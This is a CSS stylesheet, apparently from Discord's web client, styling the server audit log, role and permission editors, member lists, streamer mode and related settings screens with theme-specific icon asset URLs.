.justifyEnd-2Y2zd6 { -webkit-box-pack: end; justify-content: flex-end; }

.justifyCenter--8YVyf { -webkit-box-pack: center; justify-content: center; }

.justifyAround-5l5NVB { justify-content: space-around; }

.justifyBetween-18KOrp { -webkit-box-pack: justify; justify-content: space-between; }

.noWrap-vaXJ4Y { flex-wrap: nowrap; }

.wrap-3_59An { flex-wrap: wrap; }

.wrapReverse-34pPE_ { flex-wrap: wrap-reverse; }

.directionRow-CN8UWl { -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.directionRowReverse--8wMcO { -webkit-box-orient: horizontal; -webkit-box-direction: reverse; flex-direction: row-reverse; }

.directionColumn-lrTCMt { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.spacer-3cdnkD { -webkit-box-flex: 1; flex: 1 1 0%; overflow: hidden; }

.vertical-18__2x { }

.horizontal-3AIKkG { }

.horizontalReverse-3dqcaY { }

.horizontal-3AIKkG > .spacer-3cdnkD, .horizontalReverse-3dqcaY > .spacer-3cdnkD, .vertical-18__2x > .spacer-3cdnkD { min-height: 1px; }

.flexCenter-1-gB-f { }

.streamerModeEnabled-2q0Gft { -webkit-box-flex: 1; flex: 1 1 0%; }

.streamerModeEnabledImage-3vynUz { width: 440px; height: 220px; background-size: 100% 100%; }

.streamerModeEnabledBtn-2ZJ2eq { margin-top: 20px; font-weight: 700; font-size: 18px; color: rgb(255, 255, 255); background-color: hsl(262,calc(var(--saturation-factor, 1)*46.8%),39.8%); padding: 10px 20px; border-radius: 3px; line-height: 29px; text-transform: uppercase; cursor: pointer; }

.streamerModeEnabledBtn-2ZJ2eq:hover { background-color: rgb(90, 55, 150); }

.streamerModeEnabledBtn-2ZJ2eq.disabled-1X7fxl { cursor: default; background-color: rgb(100, 61, 167); }

.theme-light .streamerModeEnabledImage-3vynUz { background-image: url("https://discord.com/assets/9bc915142490d58b13ec0338055f5951.svg"); }

.theme-dark .streamerModeEnabledImage-3vynUz { background-image: url("https://discord.com/assets/80cb895c1ed74292d5cf0acabe103f32.svg"); }

.auditLog-2ph_aK { border: 1px solid; border-radius: 3px; }

.auditLog-2ph_aK strong { font-weight: 500; }

.divider-1tf9AP { width: 100%; height: 1px; background: green; }

.header-1oWRg0 { padding: 10px 20px 10px 10px; transition: background-color 0.2s ease 0s; display: flex; -webkit-box-align: center; align-items: center; width: 100%; }

.headerDefault-2D4Kcg { cursor: default; }

.headerClickable-g5d9lT, .headerExpanded-2egR38 { cursor: pointer; }

.timeWrap-3xKYUX { max-width: calc(100% - 118px); margin: 0px 10px; }

.timestamp-3B0F1C { font-size: 14px; margin-top: 4px; }

.avatar-2HSyn9 { margin-left: 10px; }

.expand-3j-8zE .expandForeground-35B34H { transition: d 0.2s ease 0s, stroke 0.2s ease 0s; }

.colorHook-3Ewc8I { display: inline-block; width: 10px; height: 10px; border-radius: 50%; position: relative; top: -1px; }

.userHook-yu9TNk { font-weight: 500; }

.discrim-31YHli { font-size: 12px; line-height: 16px; }

.changeDetails-2dV5gP { padding: 0px 8px 10px; }

.detail-2T4IsY { margin-top: 8px; margin-left: 40px; }

.prefix-3OjVJv { font-size: 14px; line-height: 16px; font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; margin-right: 0px !important; }

.typeCreate-2FMMf0 { color: hsl(139,calc(var(--saturation-factor, 1)*85.6%),64.5%); }

.typeDelete-iwyIKD { color: hsl(359,calc(var(--saturation-factor, 1)*83%),67.6%); }

.typeUpdate-zfrpYa { color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),63.3%); }

.dash-2YAs0r { margin: 0px 0px 0px 10px; }

.change-3B6d63 { margin: 0px; overflow: hidden; }

.changeStr-1jn8yV, .overflowEllipsis-2mDM61 { text-overflow: ellipsis; overflow: hidden; }

.overflowEllipsis-2mDM61 { white-space: nowrap; }

.subListItem-38QuiJ { margin: 4px 0px; }

.subListItem-38QuiJ:last-child { margin-bottom: 0px; }

.icon-1Obwo6 { width: 24px; height: 24px; min-width: 24px; position: relative; }

.icon-1Obwo6::after { content: " "; position: absolute; inset: 0px; }

.typeCreate-2FMMf0::after { background: url("https://discord.com/assets/4ded4c98c530d6feeef4cddfd50a1c3d.svg"); }

.typeDelete-iwyIKD::after { background: url("https://discord.com/assets/dfc166734d9c553eec7081f0cf785d98.svg"); }

.typeUpdate-zfrpYa::after { background: url("https://discord.com/assets/2bd96770d9e72ba7266fbfa23f2f93e1.svg"); }

.theme-light .auditLog-2ph_aK { color: rgb(114, 118, 125); border-color: rgb(185, 187, 190); }

.theme-light .auditLog-2ph_aK:hover .expandForeground-35B34H { stroke: rgb(114, 118, 125); }

.theme-light .auditLog-2ph_aK strong { color: rgb(79, 84, 92); }

.theme-light .headerClickable-g5d9lT, .theme-light .headerDefault-2D4Kcg { background-color: rgba(246, 246, 247, 0.3); }

.theme-light .headerExpanded-2egR38 { background-color: rgb(246, 246, 247); }

.theme-light .divider-1tf9AP { background-color: rgb(185, 187, 190); }

.theme-light .userHook-yu9TNk { color: rgb(79, 84, 92); }

.theme-light .discrim-31YHli { opacity: 0.6; }

.theme-light .expandForeground-35B34H { stroke: rgba(114, 118, 125, 0.6); }

.theme-light .timestamp-3B0F1C { color: rgb(114, 118, 125); }

.theme-light .changeDetails-2dV5gP { background-color: rgba(246, 246, 247, 0.3); }

.theme-dark .auditLog-2ph_aK { color: rgb(114, 118, 125); border-color: rgb(32, 34, 37); }

.theme-dark .auditLog-2ph_aK strong { color: rgb(246, 246, 247); }

.theme-dark .auditLog-2ph_aK:hover .expandForeground-35B34H { stroke: rgb(255, 255, 255); }

.theme-dark .headerClickable-g5d9lT, .theme-dark .headerDefault-2D4Kcg { background-color: rgba(32, 34, 37, 0.3); color: rgb(185, 187, 190); }

.theme-dark .headerExpanded-2egR38 { background-color: rgba(32, 34, 37, 0.6); color: rgb(185, 187, 190); }

.theme-dark .divider-1tf9AP { background-color: rgb(32, 34, 37); }

.theme-dark .userHook-yu9TNk { color: rgb(246, 246, 247); }

.theme-dark .discrim-31YHli { opacity: 0.3; }

.theme-dark .expandForeground-35B34H { stroke: rgba(255, 255, 255, 0.6); }

.theme-dark .timestamp-3B0F1C { color: rgb(114, 118, 125); }

.theme-dark .changeDetails-2dV5gP { background-color: rgba(32, 34, 37, 0.3); }

.themeOverrideLight-2z3PKe.icon-1Obwo6.targetAll-21MrMh, .theme-light .icon-1Obwo6.targetAll-21MrMh { background: url("https://discord.com/assets/fe7aeea6c0c96a39eefc1d27714ae445.svg"); }

.themeOverrideLight-2z3PKe.icon-1Obwo6.targetBan-3aDV1u, .theme-light .icon-1Obwo6.targetBan-3aDV1u { background: url("https://discord.com/assets/54205f81874ad989414d6f27565c6439.svg"); }

.themeOverrideLight-2z3PKe.icon-1Obwo6.targetChannel-2zoc4N, .theme-light .icon-1Obwo6.targetChannel-2zoc4N { background: url("https://discord.com/assets/ba5dca4936081060ff0575545e5cf09a.svg"); }

.themeOverrideLight-2z3PKe.icon-1Obwo6.targetGuild-1-YGoO, .theme-light .icon-1Obwo6.targetGuild-1-YGoO { background: url("https://discord.com/assets/439bf25fd3b8fb637f9ad6991c7165f9.svg"); }

.themeOverrideLight-2z3PKe.icon-1Obwo6.targetEmoji-3jFPBu, .theme-light .icon-1Obwo6.targetEmoji-3jFPBu { background: url("https://discord.com/assets/d4b5fb76bde7eccc9cc729d0d434845b.svg"); }

.themeOverrideLight-2z3PKe.icon-1Obwo6.targetSticker-2UgRgq, .theme-light .icon-1Obwo6.targetSticker-2UgRgq { background: url("https://discord.com/assets/48c5a8a2a17ddd205b154a1e0f0adbe8.svg"); }

.themeOverrideLight-2z3PKe.icon-1Obwo6.targetIntegration-vorm9E, .theme-light .icon-1Obwo6.targetIntegration-vorm9E { background: url("https://discord.com/assets/e75d0b20881725f13cbd081083e1e838.svg"); }

.themeOverrideLight-2z3PKe.icon-1Obwo6.targetInvite-3Qapm3, .theme-light .icon-1Obwo6.targetInvite-3Qapm3 { background: url("https://discord.com/assets/139538c2c7f64ae31ce50e23eae3885e.svg"); }

.themeOverrideLight-2z3PKe.icon-1Obwo6.targetMemberRole-c-SySE, .theme-light .icon-1Obwo6.targetMemberRole-c-SySE { background: url("https://discord.com/assets/55de1b4f8dcf61ce75cf1ee1fb88bf09.svg"); }

.themeOverrideLight-2z3PKe.icon-1Obwo6.targetMember-bvy29M, .theme-light .icon-1Obwo6.targetMember-bvy29M { background: url("https://discord.com/assets/8e6931bbb72ea565d3c86d23b5b14e9e.svg"); }

.themeOverrideLight-2z3PKe.icon-1Obwo6.targetPermission-31Faj4, .theme-light .icon-1Obwo6.targetPermission-31Faj4 { background: url("https://discord.com/assets/9e764c1bae67c18c43b505a9a87105ed.svg"); }

.themeOverrideLight-2z3PKe.icon-1Obwo6.targetRole-CXpS9w, .theme-light .icon-1Obwo6.targetRole-CXpS9w { background: url("https://discord.com/assets/8bf3e4e5bbe9b4b18e696247117d0351.svg"); }

.themeOverrideLight-2z3PKe.icon-1Obwo6.targetVanityUrl-3VIeRV, .theme-light .icon-1Obwo6.targetVanityUrl-3VIeRV { background: url("https://discord.com/assets/d64ea1b480519e7ed3858965c3d35076.svg"); }

.themeOverrideLight-2z3PKe.icon-1Obwo6.targetWebhook-3MC76-, .theme-light .icon-1Obwo6.targetWebhook-3MC76- { background: url("https://discord.com/assets/d441a32c45c82f6185df2522109cf541.svg"); }

.themeOverrideLight-2z3PKe.icon-1Obwo6.targetWidget-3THJOi, .theme-light .icon-1Obwo6.targetWidget-3THJOi { background: url("https://discord.com/assets/882c9d0f1a3a662d22041933c3de7a2a.svg"); }

.themeOverrideLight-2z3PKe.icon-1Obwo6.targetMessage-16j41x, .theme-light .icon-1Obwo6.targetMessage-16j41x { background: url("https://discord.com/assets/8e9b02f534e76bf7d3209dac3109cc99.svg"); }

.themeOverrideLight-2z3PKe.icon-1Obwo6.targetStageInstance-2b3lYG, .theme-light .icon-1Obwo6.targetStageInstance-2b3lYG { background: url("https://discord.com/assets/2a67ff191290e6a76fa827ea24134a59.svg"); }

.themeOverrideLight-2z3PKe.icon-1Obwo6.targetGuildScheduledEvent-C7fYy2, .theme-light .icon-1Obwo6.targetGuildScheduledEvent-C7fYy2 { background: url("https://discord.com/assets/00d3179320d7daf562c1540cefccf28d.svg"); }

.themeOverrideLight-2z3PKe.icon-1Obwo6.thread-2azpag, .theme-light .icon-1Obwo6.thread-2azpag { background: url("https://discord.com/assets/34ec9a651f00e971b4f78f2fdd570a97.svg"); }

.themeOverrideLight-2z3PKe.icon-1Obwo6.applicationCommand-2b47oB, .theme-light .icon-1Obwo6.applicationCommand-2b47oB { background: url("https://discord.com/assets/e74d1a4db5fe1fd9c19ff9949bba9b7e.svg"); }

.themeOverrideDark-7xczj9.icon-1Obwo6.targetAll-21MrMh, .theme-dark .icon-1Obwo6.targetAll-21MrMh { background: url("https://discord.com/assets/22fd0ab3562af24ea964465bb65531aa.svg"); }

.themeOverrideDark-7xczj9.icon-1Obwo6.targetBan-3aDV1u, .theme-dark .icon-1Obwo6.targetBan-3aDV1u { background: url("https://discord.com/assets/fd541825b6853aaae233ad9d83e05a18.svg"); }

.themeOverrideDark-7xczj9.icon-1Obwo6.targetChannel-2zoc4N, .theme-dark .icon-1Obwo6.targetChannel-2zoc4N { background: url("https://discord.com/assets/528ae525a9823affbcd2a35bd20573b0.svg"); }

.themeOverrideDark-7xczj9.icon-1Obwo6.targetGuild-1-YGoO, .theme-dark .icon-1Obwo6.targetGuild-1-YGoO { background: url("https://discord.com/assets/448b698d906ab4d93b609282595a1c9d.svg"); }

.themeOverrideDark-7xczj9.icon-1Obwo6.targetEmoji-3jFPBu, .theme-dark .icon-1Obwo6.targetEmoji-3jFPBu { background: url("https://discord.com/assets/858ab2bdee17ca226df85e23263bcf3a.svg"); }

.themeOverrideDark-7xczj9.icon-1Obwo6.targetSticker-2UgRgq, .theme-dark .icon-1Obwo6.targetSticker-2UgRgq { background: url("https://discord.com/assets/da5f0aa4b5ccf0165b4220ba9929ea59.svg"); }

.themeOverrideDark-7xczj9.icon-1Obwo6.targetIntegration-vorm9E, .theme-dark .icon-1Obwo6.targetIntegration-vorm9E { background: url("https://discord.com/assets/993b5f52b8bd8d1c1c34cac05015c331.svg"); }

.themeOverrideDark-7xczj9.icon-1Obwo6.targetInvite-3Qapm3, .theme-dark .icon-1Obwo6.targetInvite-3Qapm3 { background: url("https://discord.com/assets/d0dc8a4c8ea55b119c5c2cccf69b031f.svg"); }

.themeOverrideDark-7xczj9.icon-1Obwo6.targetMemberRole-c-SySE, .theme-dark .icon-1Obwo6.targetMemberRole-c-SySE { background: url("https://discord.com/assets/00124e254d0d86c37f6d02ec0c5b1e02.svg"); }

.themeOverrideDark-7xczj9.icon-1Obwo6.targetMember-bvy29M, .theme-dark .icon-1Obwo6.targetMember-bvy29M { background: url("https://discord.com/assets/e2c0846875f889524e3d60e7d25afa55.svg"); }

.themeOverrideDark-7xczj9.icon-1Obwo6.targetPermission-31Faj4, .theme-dark .icon-1Obwo6.targetPermission-31Faj4 { background: url("https://discord.com/assets/35de2007bfe0db9821881321d8b7c1fe.svg"); }

.themeOverrideDark-7xczj9.icon-1Obwo6.targetRole-CXpS9w, .theme-dark .icon-1Obwo6.targetRole-CXpS9w { background: url("https://discord.com/assets/9aa6e9df74888ec09885bb08341800be.svg"); }

.themeOverrideDark-7xczj9.icon-1Obwo6.targetVanityUrl-3VIeRV, .theme-dark .icon-1Obwo6.targetVanityUrl-3VIeRV { background: url("https://discord.com/assets/bef4eebd4f9e00aabbfa7de1949c8565.svg"); }

.themeOverrideDark-7xczj9.icon-1Obwo6.targetWebhook-3MC76-, .theme-dark .icon-1Obwo6.targetWebhook-3MC76- { background: url("https://discord.com/assets/210ac667f45d13bc52020744f008b1ed.svg"); }

.themeOverrideDark-7xczj9.icon-1Obwo6.targetWidget-3THJOi, .theme-dark .icon-1Obwo6.targetWidget-3THJOi { background: url("https://discord.com/assets/03f717eddad9ac74a1900254625657cf.svg"); }

.themeOverrideDark-7xczj9.icon-1Obwo6.targetMessage-16j41x, .theme-dark .icon-1Obwo6.targetMessage-16j41x { background: url("https://discord.com/assets/aa9f9c29b51e414f0476d4388031aaf4.svg"); }

.themeOverrideDark-7xczj9.icon-1Obwo6.targetStageInstance-2b3lYG, .theme-dark .icon-1Obwo6.targetStageInstance-2b3lYG { background: url("https://discord.com/assets/dfad85fc7c072498298077f68cf006ca.svg"); }

.themeOverrideDark-7xczj9.icon-1Obwo6.targetGuildScheduledEvent-C7fYy2, .theme-dark .icon-1Obwo6.targetGuildScheduledEvent-C7fYy2 { background: url("https://discord.com/assets/7093e58edcd5202a129a6e4fbf427c6d.svg"); }

.themeOverrideDark-7xczj9.icon-1Obwo6.thread-2azpag, .theme-dark .icon-1Obwo6.thread-2azpag { background: url("https://discord.com/assets/c254ffdde9bc5c90c5ec5d9e11dbf382.svg"); }

.themeOverrideDark-7xczj9.icon-1Obwo6.applicationCommand-2b47oB, .theme-dark .icon-1Obwo6.applicationCommand-2b47oB { background: url("https://discord.com/assets/561a626f671b8fd8f0c2e85c97df9b04.svg"); }

.customHeader-yBdglC { padding-top: 60px; }

.guildSettingsAuditLogsUserFilterPopout-bY1CFU { width: 264px; }

.userText-2BdD_d { margin-left: 10px; max-width: 200px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.discriminator-10M3vA { font-size: 12px; line-height: 16px; opacity: 0.6; }

.guildSettingsAuditLogsActionFilterPopout-3lSRKn { width: 264px; }

.actionItem-2MtsB1 { height: 46px; }

.scroller-oTjtEp { height: 100%; }

.content-2HgFLu { position: relative; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; padding-bottom: 60px; }

.avatar-2sWKoO { width: 30px !important; height: 30px !important; }

.theme-dark .auditLogMembersIconFg-3ULNKJ { fill: rgb(255, 255, 255); }

.theme-light .auditLogMembersIconFg-3ULNKJ { fill: rgb(79, 84, 92); }

.theme-light .selected-2n7ntv .auditLogMembersIconFg-3ULNKJ { fill: rgb(255, 255, 255); }

.container-1PmTEw { margin-top: 16px; }

.formTitle-2HgtlQ { display: flex; margin-bottom: 8px; }

.availabilityIndicator-CC_RwW { background-color: var(--background-secondary-alt); padding: 1px 2px; border-radius: 16px; margin-left: 4px; }

.description-3B_pGf { margin-bottom: 16px; }

.button-ryOx8V { color: var(--interactive-active); margin-left: 16px; }

.previewContainer-sli91T { background: var(--background-secondary); border-radius: 8px; min-width: 80px; height: 80px; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.preview-vCswHc { color: var(--interactive-normal); }

.previewDisabled-3T2PqS { color: var(--interactive-muted); }

.rolePreviewArea-2B8xqW, .uploadContainer-YXiWeO { display: flex; }

.roleIconPreview-Z3IElk { height: 32px; object-fit: contain; width: 32px; }

.titleContainer-CjPpBt { margin-bottom: 24px; display: flex; -webkit-box-pack: justify; justify-content: space-between; }

.titleText-1ZIyhl { min-width: 0px; text-transform: uppercase; font-weight: 600; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; }

.menu-32AM6u { margin-left: 16px; margin-top: -2px; color: var(--header-primary); cursor: pointer; }

.tabBar-11f3uI { margin-top: 16px; margin-bottom: -2px; border-bottom: 2px solid var(--background-modifier-accent); }

.tabBarItem-2QyJ0U { margin-right: 32px; padding-bottom: 16px; margin-bottom: -2px; }

.container-2uOrel { margin-bottom: 20px; }

.button-4pFjxG { margin-top: 16px; }

.buttonInner-2qBuz0 { display: flex; }

.arrowIcon-3K-V2P { margin-left: 4px; }

.scroller-3ZpLaI { height: 100%; padding-bottom: 60px; }

.colorPicker-oPcnKj { margin-top: 24px; }

.colorDescription-Pxuojt { margin-bottom: 8px; }

.divider-1QCnvR { margin-top: 24px; margin-bottom: 24px; }

.previewContainer-1KQDJS { margin-top: 16px; border: 1px solid var(--background-modifier-accent); border-radius: 4px; overflow: hidden; position: relative; }

.previewContainer-1KQDJS::after { content: ""; position: absolute; inset: 0px; cursor: default; }

.messageContainer-1DiFnQ { background-color: var(--background-primary); padding-top: 16px; padding-bottom: 16px; }

.contentWidth-xLB44s { width: calc(100% - 56px); min-width: 228px; max-width: 508px; padding-left: 24px; padding-right: 42px; }

.header-2mZ9Ov { margin-left: -8px; padding: 60px 8px 16px; margin-right: -8px; position: relative; z-index: 2; background-color: var(--background-primary); }

.stickyHeader-hH_ZLl { position: sticky; top: 0px; margin-bottom: 16px; }

.stickyHeaderElevated-I6QUOA { box-shadow: var(--elevation-low); }

.header-2PmrS5 { padding-top: 32px; padding-bottom: 24px; text-align: center; }

.subtitle-czhBWq { margin-top: 8px; }

.roleContainer-2-Gsum { display: flex; -webkit-box-align: center; align-items: center; }

.roleName-2fEtyh { margin-left: 4px; }

.contentContainer-I7ebu8 { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; min-height: 0px; }

.searchBar-2Gqdxc { flex-shrink: 0; margin-left: 16px; margin-right: 16px; }

.list-RIkDLL { height: 260px; }

.rowContainer-3iZ9pN { margin-left: 16px; margin-right: 16px; margin-bottom: 8px; height: 32px; display: flex; -webkit-box-align: center; align-items: center; }

.checkBox-3xtnhz { -webkit-box-flex: 0; flex-grow: 0; flex-shrink: 0; }

.memberDetails-1Hi6ko { margin-left: 16px; min-width: 0px; }

.footer-XFbGBE { -webkit-box-pack: justify; justify-content: space-between; }

.buttonsRight-2ODBqh, .footer-XFbGBE { -webkit-box-align: center; align-items: center; }

.buttonsRight-2ODBqh { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: reverse; flex-direction: row-reverse; }

.backButton-2x86g9 { padding-left: 0px; }

.container-1igeTA { display: flex; -webkit-box-align: center; align-items: center; }

.avatar-Ktgjkc { flex-shrink: 0; }

.textContainer-2rzLui { color: var(--interactive-normal); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }

.name-kGw4u8 { margin-left: 8px; font-weight: 600; }

.botTag-hCPuoz, .userTag-1DX5j2 { margin-left: 4px; }

.container-1Saj_P { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; height: 100%; min-height: 0px; }

.headerContainer-1X2CD8 { position: absolute; left: 0px; right: 16px; }

.header-21q_Ro { margin-left: -8px; padding: 60px 8px 16px; margin-right: -8px; position: relative; z-index: 1; background-color: var(--background-primary); }

.searchContainer-2gy0Sr { margin-top: 24px; display: flex; -webkit-box-align: center; align-items: center; }

.searchWarning-2nIG6E { margin-top: 16px; }

.addButton-3VFK0j { margin-left: 16px; flex-shrink: 0; }

.memberRow-1wwtfV { height: 40px; padding-top: 4px; padding-bottom: 4px; padding-left: 8px; display: flex; -webkit-box-align: center; align-items: center; border-radius: 4px; cursor: pointer; }

.memberRow-1wwtfV:hover { background-color: var(--background-modifier-hover); }

.memberRow-1wwtfV:active { background-color: var(--background-modifier-active); }

.emptyRowContainer-1OKxeI { color: var(--text-muted); }

.emptyRowText-10eIhs { margin-left: 8px; font-weight: 600; }

.memberDetails-2a-kJC { min-width: 0px; }

.list-3a9fyp { height: 100%; min-height: 0px; padding-bottom: 60px; }

.removeButtonContainer-1YsIy7 { margin-left: auto; }

.removeButton-spUszT { margin-left: 8px; margin-right: 8px; cursor: pointer; color: var(--interactive-normal); flex-shrink: 0; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.removeButton-spUszT:hover { color: var(--interactive-hover); }

.removeButton-spUszT:active { color: var(--interactive-active); }

.removeButtonDisabled-5brXxX { cursor: not-allowed; }

.removeButtonDisabled-5brXxX, .removeButtonDisabled-5brXxX:hover { color: var(--interactive-muted); }

.removeTip-2HPwsk { margin-top: 12px; }

.group-1WdBVp { display: grid; grid-auto-flow: column; border: 1px solid var(--background-tertiary); border-radius: 4px; height: 28px; width: 98px; box-sizing: border-box; }

.item-1yAxl1 { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; background-color: var(--background-primary); }

.item-1yAxl1:hover { background-color: var(--background-modifier-hover); }

.disabled-2dRm6b { opacity: 0.3; cursor: not-allowed; }

.allow-1PzSY3 { border-top-right-radius: 4px; border-bottom-right-radius: 4px; color: var(--text-positive); }

.allow-1PzSY3.selected-2YhbGh { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); color: rgb(255, 255, 255); }

.deny-3nAuT6 { border-top-left-radius: 4px; border-bottom-left-radius: 4px; color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.deny-3nAuT6.selected-2YhbGh { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); color: rgb(255, 255, 255); }

.passthrough-1c2ewQ.selected-2YhbGh { background-color: var(--background-accent); color: rgb(255, 255, 255); }

.title-N34hCG { padding-left: 4px; }

.icon-17zDF5 { position: relative; top: 3px; }

.theme-light .icon-17zDF5 { fill: rgb(79, 84, 92); }

.theme-dark .icon-17zDF5 { fill: rgb(255, 255, 255); }

.scroller-Utb7tO { height: 100%; padding-bottom: 60px; }

.searchContainer-3pUVEQ { margin-top: 24px; display: flex; -webkit-box-align: center; align-items: center; }

.permissionsWrapper-1amySy { position: relative; }

.clearButtonWrapper-1WPBSh { position: absolute; top: -4px; right: 0px; padding: 0px; }

.clearButton-3wWY21 { font-weight: 600; flex-shrink: 0; padding: 0px; }

.noResultsContainer-1kVGAa { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; }

.noResults-3C-Rr0 { margin-bottom: 16px; width: 85px; height: 85px; }

.permissionsForm-1DoqZ5 + .permissionsForm-1DoqZ5 { margin-top: 32px; }

.sidebarScrollable-1qPI87 { position: absolute; top: 0px; bottom: 0px; width: 232px; }

.sidebarScrollable-1qPI87 + .content-1rPSz4 { margin-left: 232px; max-width: 468px; }

.scroller-305q3I { overflow: hidden auto; background-color: var(--background-primary); height: 100%; }

.sidebar-dLM-kh { min-width: 0px; height: 100vh; box-sizing: border-box; border-right: 1px solid var(--background-modifier-accent); }

.container-23jqbX { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; max-height: 100%; position: relative; }

.container-23jqbX, .titleContainer-2CXtJo { display: flex; }

.titleContainer-2CXtJo { -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; padding: 60px 8px 16px; margin: 0px 8px 8px 16px; z-index: 2; background-color: var(--background-primary); }

.titleElevated-c_kdi7 { box-shadow: var(--elevation-low); }

.title-3GS0Tf { color: var(--header-secondary); display: flex; -webkit-box-align: center; align-items: center; cursor: pointer; }

.title-3GS0Tf:hover { color: var(--header-primary); }

.titleText-1lbERP { margin-left: 8px; text-transform: uppercase; font-weight: 600; }

.disabledTitleText-16RDWQ { margin-left: 0px; color: var(--header-primary); }

.addRole-2yzR3B { cursor: pointer; color: var(--header-primary); }

.list-I3aHXn { -webkit-box-flex: 0; flex-grow: 0; min-height: 0px; padding: 0px 16px 96px 40px; }

.row-3GRgeK { height: 34px; margin-left: -6px; display: flex; -webkit-box-align: center; align-items: center; cursor: pointer; position: relative; overflow: visible; }

.lock-1sBixy { margin-left: 8px; color: var(--interactive-normal); }

.roleDot-ZwSovK { width: 12px; height: 12px; border-radius: 50%; flex-shrink: 0; box-sizing: border-box; }

.roleName-2IkRdr { margin-left: 8px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }

.dragAfter-1ydZtZ::after, .dragBefore-cCyY7J::before { content: ""; position: absolute; z-index: 1; left: 0px; right: 0px; height: 4px; background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); border-radius: 2px; box-shadow: rgba(0, 0, 0, 0.4) 0px 0px 3px; }

.dragBefore-cCyY7J::before { top: -2px; }

.dragAfter-1ydZtZ::after { bottom: -2px; }

.helpSeparator-2mcq4E, .helpText-3Ggj5i { margin-bottom: 12px; }

.helpSeparator-2mcq4E { height: 1px; background-color: var(--background-modifier-accent); }

.tooltip-1bOkFq { text-align: center; }

.page-3njELR { min-width: 460px; max-width: 740px; width: 100%; height: 100%; }

.container-HnGszW, .page-3njELR { display: flex; }

.container-HnGszW { -webkit-box-flex: 1; flex-grow: 1; min-height: 0px; }

.sidebar-3Wgas9 { padding-top: 60px; width: 195px; flex-shrink: 0; }

.contentContainer-14yMzC, .sidebar-3Wgas9 { position: absolute; top: 0px; bottom: 0px; }

.contentContainer-14yMzC { left: 232px; right: 0px; }

.optionContainer-6JCMvN { margin-left: 24px; -webkit-box-flex: 1; flex-grow: 1; min-width: 0px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.container-_phMUq { display: flex; -webkit-box-align: center; align-items: center; background-color: var(--background-secondary); color: var(--interactive-normal); border-radius: 4px; padding: 16px 24px 16px 16px; cursor: pointer; }

.container-_phMUq:hover { background-color: var(--background-modifier-hover); color: var(--interactive-hover); }

.container-_phMUq:active { background-color: var(--background-modifier-active); color: var(--interactive-active); }

.icon-3_8HGa { width: 32px; height: 32px; border-radius: 50%; background-color: var(--background-primary); display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.description-3A8idy { margin-left: 16px; }

.label-2gpUAV { font-weight: 700; margin-bottom: 4px; }

.arrow-2aE8q8 { margin-left: auto; }

.section-1x7Sca { position: relative; margin-top: 60px; padding-bottom: 80px; }

.callout-2zRWqm { width: 100%; top: -84px; position: absolute; }

.bannerContainer-1owGn0 { position: relative; width: 100%; height: 240px; margin-top: 12px; margin-bottom: 32px; }

.banner-aJsFyZ { position: absolute; width: 100%; height: 240px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; overflow: hidden; transition: opacity 0.5s ease 416ms; background-position: 50% center; background-repeat: no-repeat; }

.bannerOut-3zi4zc { opacity: 0; }

.bannerClubs-3Xj268 { background-image: url("https://discord.com/assets/3d941eb2606379c2ee9b753f7acf2845.svg"); }

.bannerGaming-2JPrc4 { background-image: url("https://discord.com/assets/d84fd42fb2edf983cc5b5dc1007a33ca.svg"); }

.bannerHobbies-1oItTY { background-image: url("https://discord.com/assets/afbb21036aa2e7d8f15fa10dd6232fc0.svg"); }

.profileCard-2RGvbu { margin-top: 16px; margin-bottom: 16px; height: 100%; width: 180px; border-radius: 8px; border: 1px solid var(--background-secondary-alt); background-color: var(--background-secondary); box-shadow: rgba(0, 0, 0, 0.1) 0px 8px 16px; box-sizing: border-box; overflow: hidden; }

.avatarContainer-2_ceKX { background-color: var(--background-primary); height: 120px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; padding: 16px; }

.avatar-vlk88d { width: 60px !important; height: 60px !important; }

.avatarName-3m2hgE { font-weight: 700; margin-top: 8px; }

.roles-1ti6KV { position: absolute; top: 152px; filter: drop-shadow(rgba(0, 0, 0, 0.1) 0px 8px 16px); opacity: 1; transition: transform 0.25s ease 1082ms, opacity 0.25s ease 1082ms, -webkit-transform 0.25s ease 1082ms; }

.bannerOut-3zi4zc .roles-1ti6KV { transition: transform 0.25s ease 0s, opacity 0.25s ease 0s, -webkit-transform 0.25s ease 0s; transform: translateY(24px); opacity: 0; }

.rolesRow-3feBSR { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: center; justify-content: center; }

.roleTag-D34VFC { background-color: var(--background-primary); border-radius: 4px; margin: 2px; padding: 4px 8px; white-space: nowrap; }

